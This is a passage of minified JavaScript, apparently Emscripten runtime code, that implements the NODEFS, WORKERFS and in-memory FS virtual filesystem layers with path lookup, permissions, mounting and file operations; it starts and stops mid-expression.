o.node_ops=NODEFS.node_ops,o.stream_ops=NODEFS.stream_ops,o},getMode:function(e){var r;try{r=fs.lstatSync(e),NODEFS.isWindows&&(r.mode=r.mode|(146&r.mode)>>1)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return r.mode},realPath:function(e){for(var r=[];e.parent!==e;)r.push(e.name),e=e.parent;return r.push(e.mount.opts.root),r.reverse(),PATH.join.apply(null,r)},flagsToPermissionStringMap:{0:\"r\",1:\"r+\",2:\"r+\",64:\"r\",65:\"r+\",66:\"r+\",129:\"rx+\",193:\"rx+\",514:\"w+\",577:\"w\",578:\"w+\",705:\"wx\",706:\"wx+\",1024:\"a\",1025:\"a\",1026:\"a+\",1089:\"a\",1090:\"a+\",1153:\"ax\",1154:\"ax+\",1217:\"ax\",1218:\"ax+\",4096:\"rs\",4098:\"rs+\"},flagsToPermissionString:function(e){if(e&=-2097153,e&=-2049,e&=-32769,(e&=-524289)in NODEFS.flagsToPermissionStringMap)return NODEFS.flagsToPermissionStringMap[e];throw new FS.ErrnoError(ERRNO_CODES.EINVAL)},node_ops:{getattr:function(e){var r,t=NODEFS.realPath(e);try{r=fs.lstatSync(t)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return NODEFS.isWindows&&!r.blksize&&(r.blksize=4096),NODEFS.isWindows&&!r.blocks&&(r.blocks=(r.size+r.blksize-1)/r.blksize|0),{dev:r.dev,ino:r.ino,mode:r.mode,nlink:r.nlink,uid:r.uid,gid:r.gid,rdev:r.rdev,size:r.size,atime:r.atime,mtime:r.mtime,ctime:r.ctime,blksize:r.blksize,blocks:r.blocks}},setattr:function(e,r){var t=NODEFS.realPath(e);try{if(void 0!==r.mode&&(fs.chmodSync(t,r.mode),e.mode=r.mode),void 0!==r.timestamp){var n=new Date(r.timestamp);fs.utimesSync(t,n,n)}void 0!==r.size&&fs.truncateSync(t,r.size)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},lookup:function(e,r){var t=PATH.join2(NODEFS.realPath(e),r),n=NODEFS.getMode(t);return NODEFS.createNode(e,r,n)},mknod:function(e,r,t,n){var o=NODEFS.createNode(e,r,t,n),i=NODEFS.realPath(o);try{FS.isDir(o.mode)?fs.mkdirSync(i,o.mode):fs.writeFileSync(i,\"\",{mode:o.mode})}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return o},rename:function(e,r,t){var n=NODEFS.realPath(e),o=PATH.join2(NODEFS.realPath(r),t);try{fs.renameSync(n,o)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},unlink:function(e,r){var t=PATH.join2(NODEFS.realPath(e),r);try{fs.unlinkSync(t)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},rmdir:function(e,r){var t=PATH.join2(NODEFS.realPath(e),r);try{fs.rmdirSync(t)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},readdir:function(e){var r=NODEFS.realPath(e);try{return fs.readdirSync(r)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},symlink:function(e,r,t){var n=PATH.join2(NODEFS.realPath(e),r);try{fs.symlinkSync(t,n)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},readlink:function(e){var r=NODEFS.realPath(e);try{return r=fs.readlinkSync(r),r=NODEJS_PATH.relative(NODEJS_PATH.resolve(e.mount.opts.root),r)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}},stream_ops:{open:function(e){var r=NODEFS.realPath(e.node);try{FS.isFile(e.node.mode)&&(e.nfd=fs.openSync(r,NODEFS.flagsToPermissionString(e.flags)))}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},close:function(e){try{FS.isFile(e.node.mode)&&e.nfd&&fs.closeSync(e.nfd)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},read:function(e,r,t,n,o){if(0===n)return 0;var i,a=new Buffer(n);try{i=fs.readSync(e.nfd,a,0,n,o)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}if(i>0)for(var s=0;s<i;s++)r[t+s]=a[s];return i},write:function(e,r,t,n,o){var i,a=new Buffer(r.subarray(t,t+n));try{i=fs.writeSync(e.nfd,a,0,n,o)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}return i},llseek:function(e,r,t){var n=r;if(1===t)n+=e.position;else if(2===t&&FS.isFile(e.node.mode))try{n+=fs.fstatSync(e.nfd).size}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}if(n<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);return n}}},WORKERFS={DIR_MODE:16895,FILE_MODE:33279,reader:null,mount:function(e){function r(e){for(var r=e.split(\"/\"),t=n,i=0;i<r.length-1;i++){var a=r.slice(0,i+1).join(\"/\");o[a]||(o[a]=WORKERFS.createNode(t,r[i],WORKERFS.DIR_MODE,0)),t=o[a]}return t}function t(e){var r=e.split(\"/\");return r[r.length-1]}assert(ENVIRONMENT_IS_WORKER),WORKERFS.reader||(WORKERFS.reader=new FileReaderSync);var n=WORKERFS.createNode(null,\"/\",WORKERFS.DIR_MODE,0),o={};return Array.prototype.forEach.call(e.opts.files||[],function(e){WORKERFS.createNode(r(e.name),t(e.name),WORKERFS.FILE_MODE,0,e,e.lastModifiedDate)}),(e.opts.blobs||[]).forEach(function(e){WORKERFS.createNode(r(e.name),t(e.name),WORKERFS.FILE_MODE,0,e.data)}),(e.opts.packages||[]).forEach(function(e){e.metadata.files.forEach(function(n){var o=n.filename.substr(1);WORKERFS.createNode(r(o),t(o),WORKERFS.FILE_MODE,0,e.blob.slice(n.start,n.end))})}),n},createNode:function(e,r,t,n,o,i){var a=FS.createNode(e,r,t);return a.mode=t,a.node_ops=WORKERFS.node_ops,a.stream_ops=WORKERFS.stream_ops,a.timestamp=(i||new Date).getTime(),assert(WORKERFS.FILE_MODE!==WORKERFS.DIR_MODE),t===WORKERFS.FILE_MODE?(a.size=o.size,a.contents=o):(a.size=4096,a.contents={}),e&&(e.contents[r]=a),a},node_ops:{getattr:function(e){return{dev:1,ino:void 0,mode:e.mode,nlink:1,uid:0,gid:0,rdev:void 0,size:e.size,atime:new Date(e.timestamp),mtime:new Date(e.timestamp),ctime:new Date(e.timestamp),blksize:4096,blocks:Math.ceil(e.size/4096)}},setattr:function(e,r){void 0!==r.mode&&(e.mode=r.mode),void 0!==r.timestamp&&(e.timestamp=r.timestamp)},lookup:function(e,r){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)},mknod:function(e,r,t,n){throw new FS.ErrnoError(ERRNO_CODES.EPERM)},rename:function(e,r,t){throw new FS.ErrnoError(ERRNO_CODES.EPERM)},unlink:function(e,r){throw new FS.ErrnoError(ERRNO_CODES.EPERM)},rmdir:function(e,r){throw new FS.ErrnoError(ERRNO_CODES.EPERM)},readdir:function(e){var r=[\".\",\"..\"];for(var t in e.contents)e.contents.hasOwnProperty(t)&&r.push(t);return r},symlink:function(e,r,t){throw new FS.ErrnoError(ERRNO_CODES.EPERM)},readlink:function(e){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}},stream_ops:{read:function(e,r,t,n,o){if(o>=e.node.size)return 0;var i=e.node.contents.slice(o,o+n),a=WORKERFS.reader.readAsArrayBuffer(i);return r.set(new Uint8Array(a),t),i.size},write:function(e,r,t,n,o){throw new FS.ErrnoError(ERRNO_CODES.EIO)},llseek:function(e,r,t){var n=r;if(1===t?n+=e.position:2===t&&FS.isFile(e.node.mode)&&(n+=e.node.size),n<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);return n}}};STATICTOP+=16,STATICTOP+=16,STATICTOP+=16;var FS={root:null,mounts:[],devices:[null],streams:[],nextInode:1,nameTable:null,currentPath:\"/\",initialized:!1,ignorePermissions:!0,trackingDelegate:{},tracking:{openFlags:{READ:1,WRITE:2}},ErrnoError:null,genericErrors:{},filesystems:null,syncFSRequests:0,handleFSError:function(e){if(!(e instanceof FS.ErrnoError))throw e+\" : \"+stackTrace();return ___setErrNo(e.errno)},lookupPath:function(e,r){if(e=PATH.resolve(FS.cwd(),e),r=r||{},!e)return{path:\"\",node:null};var t={follow_mount:!0,recurse_count:0};for(var n in t)void 0===r[n]&&(r[n]=t[n]);if(r.recurse_count>8)throw new FS.ErrnoError(ERRNO_CODES.ELOOP);for(var o=PATH.normalizeArray(e.split(\"/\").filter(function(e){return!!e}),!1),i=FS.root,a=\"/\",s=0;s<o.length;s++){var u=s===o.length-1;if(u&&r.parent)break;if(i=FS.lookupNode(i,o[s]),a=PATH.join2(a,o[s]),FS.isMountpoint(i)&&(!u||u&&r.follow_mount)&&(i=i.mounted.root),!u||r.follow)for(var l=0;FS.isLink(i.mode);){var c=FS.readlink(a);a=PATH.resolve(PATH.dirname(a),c);if(i=FS.lookupPath(a,{recurse_count:r.recurse_count}).node,l++>40)throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}}return{path:a,node:i}},getPath:function(e){for(var r;;){if(FS.isRoot(e)){var t=e.mount.mountpoint;return r?\"/\"!==t[t.length-1]?t+\"/\"+r:t+r:t}r=r?e.name+\"/\"+r:e.name,e=e.parent}},hashName:function(e,r){for(var t=0,n=0;n<r.length;n++)t=(t<<5)-t+r.charCodeAt(n)|0;return(e+t>>>0)%FS.nameTable.length},hashAddNode:function(e){var r=FS.hashName(e.parent.id,e.name);e.name_next=FS.nameTable[r],FS.nameTable[r]=e},hashRemoveNode:function(e){var r=FS.hashName(e.parent.id,e.name);if(FS.nameTable[r]===e)FS.nameTable[r]=e.name_next;else for(var t=FS.nameTable[r];t;){if(t.name_next===e){t.name_next=e.name_next;break}t=t.name_next}},lookupNode:function(e,r){var t=FS.mayLookup(e);if(t)throw new FS.ErrnoError(t,e);for(var n=FS.hashName(e.id,r),o=FS.nameTable[n];o;o=o.name_next){var i=o.name;if(o.parent.id===e.id&&i===r)return o}return FS.lookup(e,r)},createNode:function(e,r,t,n){if(!FS.FSNode){FS.FSNode=function(e,r,t,n){e||(e=this),this.parent=e,this.mount=e.mount,this.mounted=null,this.id=FS.nextInode++,this.name=r,this.mode=t,this.node_ops={},this.stream_ops={},this.rdev=n},FS.FSNode.prototype={};Object.defineProperties(FS.FSNode.prototype,{read:{get:function(){return 365==(365&this.mode)},set:function(e){e?this.mode|=365:this.mode&=-366}},write:{get:function(){return 146==(146&this.mode)},set:function(e){e?this.mode|=146:this.mode&=-147}},isFolder:{get:function(){return FS.isDir(this.mode)}},isDevice:{get:function(){return FS.isChrdev(this.mode)}}})}var o=new FS.FSNode(e,r,t,n);return FS.hashAddNode(o),o},destroyNode:function(e){FS.hashRemoveNode(e)},isRoot:function(e){return e===e.parent},isMountpoint:function(e){return!!e.mounted},isFile:function(e){return 32768==(61440&e)},isDir:function(e){return 16384==(61440&e)},isLink:function(e){return 40960==(61440&e)},isChrdev:function(e){return 8192==(61440&e)},isBlkdev:function(e){return 24576==(61440&e)},isFIFO:function(e){return 4096==(61440&e)},isSocket:function(e){return 49152==(49152&e)},flagModes:{r:0,rs:1052672,\"r+\":2,w:577,wx:705,xw:705,\"w+\":578,\"wx+\":706,\"xw+\":706,a:1089,ax:1217,xa:1217,\"a+\":1090,\"ax+\":1218,\"xa+\":1218},modeStringToFlags:function(e){var r=FS.flagModes[e];if(void 0===r)throw new Error(\"Unknown file open mode: \"+e);return r},flagsToPermissionString:function(e){var r=[\"r\",\"w\",\"rw\"][3&e];return 512&e&&(r+=\"w\"),r},nodePermissions:function(e,r){return FS.ignorePermissions?0:(-1===r.indexOf(\"r\")||292&e.mode)&&(-1===r.indexOf(\"w\")||146&e.mode)&&(-1===r.indexOf(\"x\")||73&e.mode)?0:ERRNO_CODES.EACCES},mayLookup:function(e){var r=FS.nodePermissions(e,\"x\");return r||(e.node_ops.lookup?0:ERRNO_CODES.EACCES)},mayCreate:function(e,r){try{FS.lookupNode(e,r);return ERRNO_CODES.EEXIST}catch(e){}return FS.nodePermissions(e,\"wx\")},mayDelete:function(e,r,t){var n;try{n=FS.lookupNode(e,r)}catch(e){return e.errno}var o=FS.nodePermissions(e,\"wx\");if(o)return o;if(t){if(!FS.isDir(n.mode))return ERRNO_CODES.ENOTDIR;if(FS.isRoot(n)||FS.getPath(n)===FS.cwd())return ERRNO_CODES.EBUSY}else if(FS.isDir(n.mode))return ERRNO_CODES.EISDIR;return 0},mayOpen:function(e,r){return e?FS.isLink(e.mode)?ERRNO_CODES.ELOOP:FS.isDir(e.mode)&&(\"r\"!==FS.flagsToPermissionString(r)||512&r)?ERRNO_CODES.EISDIR:FS.nodePermissions(e,FS.flagsToPermissionString(r)):ERRNO_CODES.ENOENT},MAX_OPEN_FDS:4096,nextfd:function(e,r){e=e||0,r=r||FS.MAX_OPEN_FDS;for(var t=e;t<=r;t++)if(!FS.streams[t])return t;throw new FS.ErrnoError(ERRNO_CODES.EMFILE)},getStream:function(e){return FS.streams[e]},createStream:function(e,r,t){FS.FSStream||(FS.FSStream=function(){},FS.FSStream.prototype={},Object.defineProperties(FS.FSStream.prototype,{object:{get:function(){return this.node},set:function(e){this.node=e}},isRead:{get:function(){return 1!=(2097155&this.flags)}},isWrite:{get:function(){return 0!=(2097155&this.flags)}},isAppend:{get:function(){return 1024&this.flags}}}));var n=new FS.FSStream;for(var o in e)n[o]=e[o];e=n;var i=FS.nextfd(r,t);return e.fd=i,FS.streams[i]=e,e},closeStream:function(e){FS.streams[e]=null},chrdev_stream_ops:{open:function(e){var r=FS.getDevice(e.node.rdev);e.stream_ops=r.stream_ops,e.stream_ops.open&&e.stream_ops.open(e)},llseek:function(){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)}},major:function(e){return e>>8},minor:function(e){return 255&e},makedev:function(e,r){return e<<8|r},registerDevice:function(e,r){FS.devices[e]={stream_ops:r}},getDevice:function(e){return FS.devices[e]},getMounts:function(e){for(var r=[],t=[e];t.length;){var n=t.pop();r.push(n),t.push.apply(t,n.mounts)}return r},syncfs:function(e,r){function t(e){return assert(FS.syncFSRequests>0),FS.syncFSRequests--,r(e)}function n(e){if(e){if(!n.errored)return n.errored=!0,t(e)}else++i>=o.length&&t(null)}\"function\"==typeof e&&(r=e,e=!1),FS.syncFSRequests++,FS.syncFSRequests>1&&console.log(\"warning: \"+FS.syncFSRequests+\" FS.syncfs operations in flight at once, probably just doing extra work\");var o=FS.getMounts(FS.root.mount),i=0;o.forEach(function(r){if(!r.type.syncfs)return n(null);r.type.syncfs(r,e,n)})},mount:function(e,r,t){var n,o=\"/\"===t,i=!t;if(o&&FS.root)throw new FS.ErrnoError(ERRNO_CODES.EBUSY);if(!o&&!i){var a=FS.lookupPath(t,{follow_mount:!1});if(t=a.path,n=a.node,FS.isMountpoint(n))throw new FS.ErrnoError(ERRNO_CODES.EBUSY);if(!FS.isDir(n.mode))throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}var s={type:e,opts:r,mountpoint:t,mounts:[]},u=e.mount(s);return u.mount=s,s.root=u,o?FS.root=u:n&&(n.mounted=s,n.mount&&n.mount.mounts.push(s)),u},unmount:function(e){var r=FS.lookupPath(e,{follow_mount:!1});if(!FS.isMountpoint(r.node))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var t=r.node,n=t.mounted,o=FS.getMounts(n);Object.keys(FS.nameTable).forEach(function(e){for(var r=FS.nameTable[e];r;){var t=r.name_next;-1!==o.indexOf(r.mount)&&FS.destroyNode(r),r=t}}),t.mounted=null;var i=t.mount.mounts.indexOf(n);assert(-1!==i),t.mount.mounts.splice(i,1)},lookup:function(e,r){return e.node_ops.lookup(e,r)},mknod:function(e,r,t){var n=FS.lookupPath(e,{parent:!0}).node,o=PATH.basename(e);if(!o||\".\"===o||\"..\"===o)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var i=FS.mayCreate(n,o);if(i)throw new FS.ErrnoError(i);if(!n.node_ops.mknod)throw new FS.ErrnoError(ERRNO_CODES.EPERM);return n.node_ops.mknod(n,o,r,t)},create:function(e,r){return r=void 0!==r?r:438,r&=4095,r|=32768,FS.mknod(e,r,0)},mkdir:function(e,r){return r=void 0!==r?r:511,r&=1023,r|=16384,FS.mknod(e,r,0)},mkdirTree:function(e,r){for(var t=e.split(\"/\"),n=\"\",o=0;o<t.length;++o)if(t[o]){n+=\"/\"+t[o];try{FS.mkdir(n,r)}catch(e){if(e.errno!=ERRNO_CODES.EEXIST)throw e}}},mkdev:function(e,r,t){return void 0===t&&(t=r,r=438),r|=8192,FS.mknod(e,r,t)},symlink:function(e,r){if(!PATH.resolve(e))throw new FS.ErrnoError(ERRNO_CODES.ENOENT);var t=FS.lookupPath(r,{parent:!0}).node;if(!t)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);var n=PATH.basename(r),o=FS.mayCreate(t,n);if(o)throw new FS.ErrnoError(o);if(!t.node_ops.symlink)throw new FS.ErrnoError(ERRNO_CODES.EPERM);return t.node_ops.symlink(t,n,e)},rename:function(e,r){var t,n,o=PATH.dirname(e),i=PATH.dirname(r),a=PATH.basename(e),s=PATH.basename(r);try{t=FS.lookupPath(e,{parent:!0}).node,n=FS.lookupPath(r,{parent:!0}).node}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!t||!n)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(t.mount!==n.mount)throw new FS.ErrnoError(ERRNO_CODES.EXDEV);var u=FS.lookupNode(t,a),l=PATH.relative(e,i);if(\".\"!==l.charAt(0))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);if(\".\"!==(l=PATH.relative(r,o)).charAt(0))throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY);var c;try{c=FS.lookupNode(n,s)}catch(e){}if(u!==c){var d=FS.isDir(u.mode),E=FS.mayDelete(t,a,d);if(E)throw new FS.ErrnoError(E);if(E=c?FS.mayDelete(n,s,d):FS.mayCreate(n,s))throw new FS.ErrnoError(E);if(!t.node_ops.rename)throw new FS.ErrnoError(ERRNO_CODES.EPERM);if(FS.isMountpoint(u)||c&&FS.isMountpoint(c))throw new FS.ErrnoError(ERRNO_CODES.EBUSY);if(n!==t&&(E=FS.nodePermissions(t,\"w\")))throw new FS.ErrnoError(E);try{FS.trackingDelegate.willMovePath&&FS.trackingDelegate.willMovePath(e,r)}catch(t){console.log(\"FS.trackingDelegate['willMovePath']('\"+e+\"', '\"+r+\"') threw an exception: \"+t.message)}FS.hashRemoveNode(u);try{t.node_ops.rename(u,n,s)}catch(e){throw e}finally{FS.hashAddNode(u)}try{FS.trackingDelegate.onMovePath&&FS.trackingDelegate.onMovePath(e,r)}catch(t){console.log(\"FS.trackingDelegate['onMovePath']('\"+e+\"', '\"+r+\"') threw an exception: \"+t.message)}}},rmdir:function(e){var r=FS.lookupPath(e,{parent:!0}).node,t=PATH.basename(e),n=FS.lookupNode(r,t),o=FS.mayDelete(r,t,!0);if(o)throw new FS.ErrnoError(o);if(!r.node_ops.rmdir)throw new FS.ErrnoError(ERRNO_CODES.EPERM);if(FS.isMountpoint(n))throw new FS.ErrnoError(ERRNO_CODES.EBUSY);try{FS.trackingDelegate.willDeletePath&&FS.trackingDelegate.willDeletePath(e)}catch(r){console.log(\"FS.trackingDelegate['willDeletePath']('\"+e+\"') threw an exception: \"+r.message)}r.node_ops.rmdir(r,t),FS.destroyNode(n);try{FS.trackingDelegate.onDeletePath&&FS.trackingDelegate.onDeletePath(e)}catch(r){console.log(\"FS.trackingDelegate['onDeletePath']('\"+e+\"') threw an exception: \"+r.message)}},readdir:function(e){var r=FS.lookupPath(e,{follow:!0}).node;if(!r.node_ops.readdir)throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR);return r.node_ops.readdir(r)},unlink:function(e){var r=FS.lookupPath(e,{parent:!0}).node,t=PATH.basename(e),n=FS.lookupNode(r,t),o=FS.mayDelete(r,t,!1);if(o)throw new FS.ErrnoError(o);if(!r.node_ops.unlink)throw new FS.ErrnoError(ERRNO_CODES.EPERM);if(FS.isMountpoint(n))throw new FS.ErrnoError(ERRNO_CODES.EBUSY);try{FS.trackingDelegate.willDeletePath&&FS.trackingDelegate.willDeletePath(e)}catch(r){console.log(\"FS.trackingDelegate['willDeletePath']('\"+e+\"') threw an exception: \"+r.message)}r.node_ops.unlink(r,t),FS.destroyNode(n);try{FS.trackingDelegate.onDeletePath&&FS.trackingDelegate.onDeletePath(e)}catch(r){console.log(\"FS.trackingDelegate['onDeletePath']('\"+e+\"') threw an exception: \"+r.message)}},readlink:function(e){var r=FS.lookupPath(e).node;if(!r)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(!r.node_ops.readlink)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);return PATH.resolve(FS.getPath(r.parent),r.node_ops.readlink(r))},stat:function(e,r){var t=FS.lookupPath(e,{follow:!r}).node;if(!t)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(!t.node_ops.getattr)throw new FS.ErrnoError(ERRNO_CODES.EPERM);return t.node_ops.getattr(t)},lstat:function(e){return FS.stat(e,!0)},chmod:function(e,r,t){var n;if(\"string\"==typeof e){n=FS.lookupPath(e,{follow:!t}).node}else n=e;if(!n.node_ops.setattr)throw new FS.ErrnoError(ERRNO_CODES.EPERM);n.node_ops.setattr(n,{mode:4095&r|-4096&n.mode,timestamp:Date.now()})},lchmod:function(e,r){FS.chmod(e,r,!0)},fchmod:function(e,r){var t=FS.getStream(e);if(!t)throw new FS.ErrnoError(ERRNO_CODES.EBADF);FS.chmod(t.node,r)},chown:function(e,r,t,n){var o;if(\"string\"==typeof e){o=FS.lookupPath(e,{follow:!n}).node}else o=e;if(!o.node_ops.setattr)throw new FS.ErrnoError(ERRNO_CODES.EPERM);o.node_ops.setattr(o,{timestamp:Date.now()})},lchown:function(e,r,t){FS.chown(e,r,t,!0)},fchown:function(e,r,t){var n=FS.getStream(e);if(!n)throw new FS.ErrnoError(ERRNO_CODES.EBADF);FS.chown(n.node,r,t)},truncate:function(e,r){if(r<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var t;if(\"string\"==typeof e){t=FS.lookupPath(e,{follow:!0}).node}else t=e;if(!t.node_ops.setattr)throw new FS.ErrnoError(ERRNO_CODES.EPERM);if(FS.isDir(t.mode))throw new FS.ErrnoError(ERRNO_CODES.EISDIR);if(!FS.isFile(t.mode))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var n=FS.nodePermissions(t,\"w\");if(n)throw new FS.ErrnoError(n);t.node_ops.setattr(t,{size:r,timestamp:Date.now()})},ftruncate:function(e,r){var t=FS.getStream(e);if(!t)throw new FS.ErrnoError(ERRNO_CODES.EBADF);if(0==(2097155&t.flags))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);FS.truncate(t.node,r)},utime:function(e,r,t){var n=FS.lookupPath(e,{follow:!0}).node;n.node_ops.setattr(n,{timestamp:Math.max(r,t)})},open:function(e,r,t,n,o){if(\"\"===e)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);r=\"string\"==typeof r?FS.modeStringToFlags(r):r,t=void 0===t?438:t,t=64&r?4095&t|32768:0;var i;if(\"object\"==typeof e)i=e;else{e=PATH.normalize(e);try{i=FS.lookupPath(e,{follow:!(131072&r)}).node}catch(e){}}var a=!1;if(64&r)if(i){if(128&r)throw new FS.ErrnoError(ERRNO_CODES.EEXIST)}else i=FS.mknod(e,t,0),a=!0;if(!i)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(FS.isChrdev(i.mode)&&(r&=-513),65536&r&&!FS.isDir(i.mode))throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR);if(!a){var s=FS.mayOpen(i,r);if(s)throw new FS.ErrnoError(s)}512&r&&FS.truncate(i,0),r&=-641;var u=FS.createStream({node:i,path:FS.getPath(i),flags:r,seekable:!0,position:0,stream_ops:i.stream_ops,ungotten:[],error:!1},n,o);u.stream_ops.open&&u.stream_ops.open(u),!Module.logReadFiles||1&r||(FS.readFiles||(FS.readFiles={}),e in FS.readFiles||(FS.readFiles[e]=1,Module.printErr(\"read file: \"+e)));try{if(FS.trackingDelegate.onOpenFile){var l=0;1!=(2097155&r)&&(l|=FS.tracking.openFlags.READ),0!=(2097155&r)&&(l|=FS.tracking.openFlags.WRITE),FS.trackingDelegate.onOpenFile(e,l)}}catch(r){console.log(\"FS.trackingDelegate['onOpenFile']('\"+e+\"', flags) threw an exception: \"+r.message)}return u},close:function(e){e.getdents&&(e.getdents=null);try{e.stream_ops.close&&e.stream_ops.close(e)}catch(e){throw e}finally{FS.closeStream(e.fd)}},llseek:function(e,r,t){if(!e.seekable||!e.stream_ops.llseek)throw new FS.ErrnoError(ERRNO_CODES.ESPIPE);return e.position=e.stream_ops.llseek(e,r,t),e.ungotten=[],e.position},read:function(e,r,t,n,o){if(n<0||o<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);if(1==(2097155&e.flags))throw new FS.ErrnoError(ERRNO_CODES.EBADF);if(FS.isDir(e.node.mode))throw new FS.ErrnoError(ERRNO_CODES.EISDIR);if(!e.stream_ops.read)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var i=!0;if(void 0===o)o=e.position,i=!1;else if(!e.seekable)throw new FS.ErrnoError(ERRNO_CODES.ESPIPE);var a=e.stream_ops.read(e,r,t,n,o);return i||(e.position+=a),a},write:function(e,r,t,n,o,i){if(n<0||o<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);if(0==(2097155&e.flags))throw new FS.ErrnoError(ERRNO_CODES.EBADF);if(FS.isDir(e.node.mode))throw new FS.ErrnoError(ERRNO_CODES.EISDIR);if(!e.stream_ops.write)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);1024&e.flags&&FS.llseek(e,0,2);var a=!0;if(void 0===o)o=e.position,a=!1;else if(!e.seekable)throw new FS.ErrnoError(ERRNO_CODES.ESPIPE);var s=e.stream_ops.write(e,r,t,n,o,i);a||(e.position+=s);try{e.path&&FS.trackingDelegate.onWriteToFile&&FS.trackingDelegate.onWriteToFile(e.path)}catch(e){console.log(\"FS.trackingDelegate['onWriteToFile']('\"+path+\"') threw an exception: \"+e.message)}return s},allocate:function(e,r,t){if(r<0||t<=0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);if(0==(2097155&e.flags))throw new FS.ErrnoError(ERRNO_CODES.EBADF);if(!FS.isFile(e.node.mode)&&!FS.isDir(e.node.mode))throw new FS.ErrnoError(ERRNO_CODES.ENODEV);if(!e.stream_ops.allocate)throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP);e.stream_ops.allocate(e,r,t)},mmap:function(e,r,t,n,o,i,a){if(1==(2097155&e.flags))throw new FS.ErrnoError(ERRNO_CODES.EACCES);if(!e.stream_ops.mmap)throw new FS.ErrnoError(ERRNO_CODES.ENODEV);return e.stream_ops.mmap(e,r,t,n,o,i,a)},msync:function(e,r,t,n,o){return e&&e.stream_ops.msync?e.stream_ops.msync(e,r,t,n,o):0},munmap:function(e){return 0},ioctl:function(e,r,t){if(!e.stream_ops.ioctl)throw new FS.ErrnoError(ERRNO_CODES.ENOTTY);return e.stream_ops.ioctl(e,r,t)},readFile:function(e,r){if(r=r||{},r.flags=r.flags||\"r\",r.encoding=r.encoding||\"binary\",\"utf8\"!==r.encoding&&\"binary\"!==r.encoding)throw new Error('Invalid encoding type \"'+r.encoding+'\"');var t,n=FS.open(e,r.flags),o=FS.stat(e).size,i=new Uint8Array(o);return FS.read(n,i,0,o,0),\"utf8\"===r.encoding?t=UTF8ArrayToString(i,0):\"binary\"===r.encoding&&(t=i),FS.close(n),t},writeFile:function(e,r,t){if(t=t||{},t.flags=t.flags||\"w\",t.encoding=t.encoding||\"utf8\",\"utf8\"!==t.encoding&&\"binary\"!==t.encoding)throw new Error('Invalid encoding type \"'+t.encoding+'\"');var n=FS.open(e,t.flags,t.mode);if(\"utf8\"===t.encoding){var o=new Uint8Array(lengthBytesUTF8(r)+1),i=stringToUTF8Array(r,o,0,o.length);FS.write(n,o,0,i,0,t.canOwn)}else\"binary\"===t.encoding&&FS.write(n,r,0,r.length,0,t.canOwn);FS.close(n)},cwd:function(){return FS.currentPath},chdir:function(e){var r=FS.lookupPath(e,{follow:!0});if(null===r.node)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(!FS.isDir(r.node.mode))throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR);var t=FS.nodePermissions(r.node,\"x\");if(t)throw new FS.ErrnoError(t);FS.currentPath=r.path},createDefaultDirectories:function(){FS.mkdir(\"/tmp\"),FS.mkdir(\"/home\"),FS.mkdir(\"/home/web_user\")},createDefaultDevices:function(){FS.mkdir(\"/dev\"),FS.registerDevice(FS.makedev(1,3),{read:function(){return 0},write:function(e,r,t,n,o){return n}}),FS.mkdev(\"/dev/null\",FS.makedev(1,3)),TTY.register(FS.makedev(5,0),TTY.default_tty_ops),TTY.register(FS.makedev(6,0),TTY.default_tty1_ops),FS.mkdev(\"/dev/tty\",FS.makedev(5,0)),FS.mkdev(\"/dev/tty1\",FS.makedev(6,0));var e;if(\"undefined\"!=typeof crypto){var r=new Uint8Array(1);e=function(){return crypto.getRandomValues(r),r[0]}}else e=function(){return 